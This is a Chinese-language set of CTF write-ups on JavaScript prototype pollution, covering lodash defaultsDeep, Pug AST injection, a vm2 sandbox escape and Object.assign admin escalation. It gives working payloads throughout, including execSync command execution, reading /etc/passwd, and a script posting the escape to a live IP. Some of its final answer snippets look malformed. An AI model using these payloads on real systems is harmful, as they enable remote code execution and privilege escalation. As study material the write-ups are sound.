先放一张原型鏈的圖壓壓驚
redpwnctf 2019 blueprint#
功能分析#
創建用戶#
userId
作為每個用戶的 cookie
userId = makeId()
創建了一個空對象 bpProto
:
const bpProto = {}
然後,創建了一個對象 flagBp
,它有一個屬性 content
,值是 flag
,說明每個用戶其實都有一個 flag
const flagBp = {
content: flag,
}
flagBp
的constructor
屬性被設置為一個新對象,這個新對象有一個屬性prototype
,值是bpProto
。flagBp
的__proto__
屬性也被設置為bpProto
。
flagBp.constructor = {prototype: bpProto}
flagBp.__proto__ = bpProto
最後,組裝為 user 對象
user = {
bpProto,
blueprints: {
[makeId()]: flagBp,
},
}
關鍵:
flagBp.__proto__ = bpProto
flagBp
的 constructor
屬性被設置為一個新的對象,這個對象的 prototype
屬性是 bpProto
。這個操作並不會影響 flagBp
的原型鏈,因為 constructor
屬性並不參與原型鏈的查找。
flagBp
的 [[Prototype]] 屬性(即 __proto__
)被設置為 bpProto
。這個操作會改變 flagBp
的原型鏈。之後,當你試圖訪問 flagBp
上不存在的屬性時,JavaScript 將在 bpProto
對象上查找這個屬性。
創建筆記#
const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
展示筆記#
const blueprintId = makeId()
user.blueprints[blueprintId] = {
content: parsedBody.content,
public: parsedBody.public,
}
res.end(blueprintId)
lodash 原型鏈污染#
在 Lodash 的 _.defaultsDeep
函數中,如果攻擊者可以控制源對象,並使其包含對 Object.prototype
的引用,那麼就可以通過這個函數污染原型鏈。
例如:
let user_input = { malicious_key: 'malicious_value' };
_.defaultsDeep({}, user_input);
如果可以控制 user_input
,並將其設置為 { '__proto__': { malicious_key: 'malicious_value' } }
,那麼所有對象的 malicious_key
屬性將被設置為 `'malicious_value'(根據原型鏈的查找規則)
Lodash (4.17.21)修復,而代碼中的 Lodash 版本小於 4.17.21
解題思路#
我們看到 flagBp
的兩個屬性,constructor.prototype
和 __proto__
都指向了 bpProto
那麼 flagBp.public
屬性就只能去原型鏈上找,而 flagBp.__proto__
指向了 bpProto
flagBp.public -> flagBp.__proto__.public -> bpProto.prototype.public
那麼如何修改 bpProto.prototype
呢?
回到這裡
const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
合併的時候,如果能做到:
mergeObj.constructor.prototype.public = true
// 或者
mergeObj.__proto__.public = true
因此 payload 為:
"constructor": {"prototype": {"public": true}}
思考,為什麼如下 payload 不行?
"__proto__": {"public": true} // 試一試?
BambooFox CTF 2021 TimeToDraw#
原型鏈污染的點在:存在很明顯的賦值動作
app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});
如果是 admin 用戶,則 token 為 secret.ADMIN_TOKEN
,我們不知道
如果沒有進入這個 if,則 userData.token 會去原型鏈上查找,所以千萬不要成為 admin!
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/)
&& hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token) {
res.send(secret.FLAG);
} else {
res.send("NO");
}
因此 payload 如下:
const crypto = require('crypto');
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
token = "12345678900000000";
hostname = "::ffff:127.0.0.1";
result = hash(hostname + token);
console.log(result); // 0571d35ff568c6faacaa8f931b66729b9bc12a2c1231b8dc8c57073f35c8b62f
首先污染原型鏈:
http://localhost:3000/api/draw?x=__proto__&y=token&color=1cd6705c4f0df9b640deaa47c5510b7b8b4303acc3bf1e95670e975b889a6ce9
然後獲取 flag
http://localhost:3000/flag?token=1234567890000000
結論:當對象訪問一個不一定存在的屬性時,極易被原型鏈污染攻擊
HTB blitzprop#
payload
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('cmd')"
}
}
AST injection + 原型鏈污染#
詳細了解:
https://xz.aliyun.com/t/12635
通過插入 AST 來實現注入
pug AST 注入#
<!-- /node_modules/pug-code-gen/index.js -->
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
注入:
const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source, {});
console.log(fn.toString());
/*
function template(locals) {
var pug_html = "",
pug_mixins = {},
pug_interp;
var pug_debug_filename, pug_debug_line;
try {;
var locals_for_with = (locals || {});
(function (console, msg, process) {;
pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";;
pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";
}.call(this, "console" in locals_for_with ?
locals_for_with.console :
typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
locals_for_with.process :
typeof process !== 'undefined' ? process : undefined));;
} catch (err) {
pug.rethrow(err, pug_debug_filename, pug_debug_line);
};
return pug_html;
}
*/
一個簡單的 pug 引擎#
請問如下代碼是否存在 AST injection?
// Step 1: 解析 - 將 Pug 語法解析成 AST
function parse(pugCode) {
let lines = pugCode.split('\n');
let ast = lines.map((line, index) => {
let match = /^(\s*)(\w+)(?:\s*(.*))?$/g.exec(line);
if (match) {
let indent = match[1].length;
let tag = match[2];
let type;
let text = match[3] || "";
if (text.startsWith("@")) {
[type, text] = text.slice(1).split(' ');
}
return { indent, tag, type, text, line: index + 1 }; // Add type to AST node
} else {
throw new Error(`Parsing error on line ${index + 1}`);
}
});
return ast;
}
// Step 2: 編譯 - 將 AST 轉化為一個 JavaScript 函數
function compile(ast) {
return function(context) {
return ast.map(node => {
try {
let html = "<" + node.tag + ">";
if (node.text.startsWith("#{") && node.text.endsWith("}")) {
let varName = node.text.slice(2, -1);
if (varName in context) {
let content = context[varName];
// If the type of the node is 'uppercase', turn the content to uppercase
if (node.type === 'uppercase') {
content = content.toUpperCase();
}
html += content;
} else {
throw new Error(`Undefined variable: ${varName}`);
}
} else {
html += node.text;
}
html += "</" + node.tag + ">";
return html;
} catch (error) {
throw new Error(`Error rendering line ${node.line}: ${error.message}`);
}
}).join('\n');
}
}
// Step 3: 渲染 - 使用上下文對象來執行編譯後的函數並生成 HTML
function render(templateFn, context) {
try {
return templateFn(context);
} catch (error) {
console.error(error.message);
return null;
}
}
// 使用示例:
let pugCode = "p #{name}\n"; // This is Pug syntax
pugCode += "div @uppercase Hello, #{name}";
let ast = parse(pugCode);
let templateFn = compile(ast);
let html = render(templateFn, { name: "John Doe" });
console.log(html);
babyjs#
const { NodeVM } = require("vm2");
let untrusted = `
( function () { let result = 'aaa';
try {
a = {};
a.toString = function() {
return {};
}
process.listeners(a);
} catch(e) {
result =
e.constructor.constructor(
"return this.process.mainModule.require('child_process').execSync('cat /etc/passwd')")().toString();
}
return result; })();
`;
untrusted = "eval(`" + untrusted + "`)";
let vm = new NodeVM({
// eval: false,
wasm: false,
wrapper: "none",
});
let result = "";
try {
result = vm.run(`return ${untrusted}`);
} catch (err) {
console.log(err);
result = err.toString();
}
console.log(result);
最終腳本如下:
import requests
r = requests.post('http://175.27.159.126:10010/',
data={
'calc':
"""eval(`
( function () { let result = 'aaa';
try {
a = {};
a.toString = function() {
return {};
}
process.listeners(a);
} catch(e) {
result =
e.constructor.constructor(
"return this.process.mainModule.require('child_process').execSync('cat flag.txt')")().toString();
}
return result; })();
`)"""
})
print(r.headers)
print(r.text)
intigriti#
如何創建一個 admin 用戶?
關鍵代碼:
user = JSON.parse(req.body)
let newUser = Object.assign(baseUser, user)
但是我們可以完全控制 user
,因此可以如下步驟:
{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}
>let user = JSON.parse('{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}')
>user.isAdmin // ? why
undefined
>user.__proto__.isAdmin
true
答案當使用 JSON.parse()
解析一個 JSON 字符串時,__proto__
屬性並不會按照原型鏈的方式進行設置。JSON 字符串的解析完全基於其自身的文字內容,它並不會改變對象的原型鏈。也就是說,JSON.parse()
不會把 __proto__
理解為原型鏈的指示,而只是把它當作一個普通的屬性來處理。
payload
{"__proto__": {"isAdmin": True}, "user": "test", "inviteCode": 0}
noood#
題目思考:flag 在根目錄,
flag{xxxxxx}
源代碼:
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const app = express();
const config = {}
app.use(bodyParser.json());
app.post('/:lib/:f', (req, res) => {
let jsonlib = require(req.params.lib);
let valid = jsonlib[req.params.f](req.body);
let p;
if(config.path) {
p = config.path;
}
let data = fs.readFileSync(p).toString();
res.send({
"validator": valid,
"data": data,
"msg": "data is corrupted"
});
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
fs.readFileSync#
答案 no! 參數問題
require 報錯#
答案
require('../.../../flag')
vm#
答案
require('vm').runInNewContext(['this.constructor.constructor('return this.process'))().mainModule.require('fs').readFileSync('/flag').toString()'])
原型鏈污染#
答案
require('flat').unflatten({'__proto__.path'})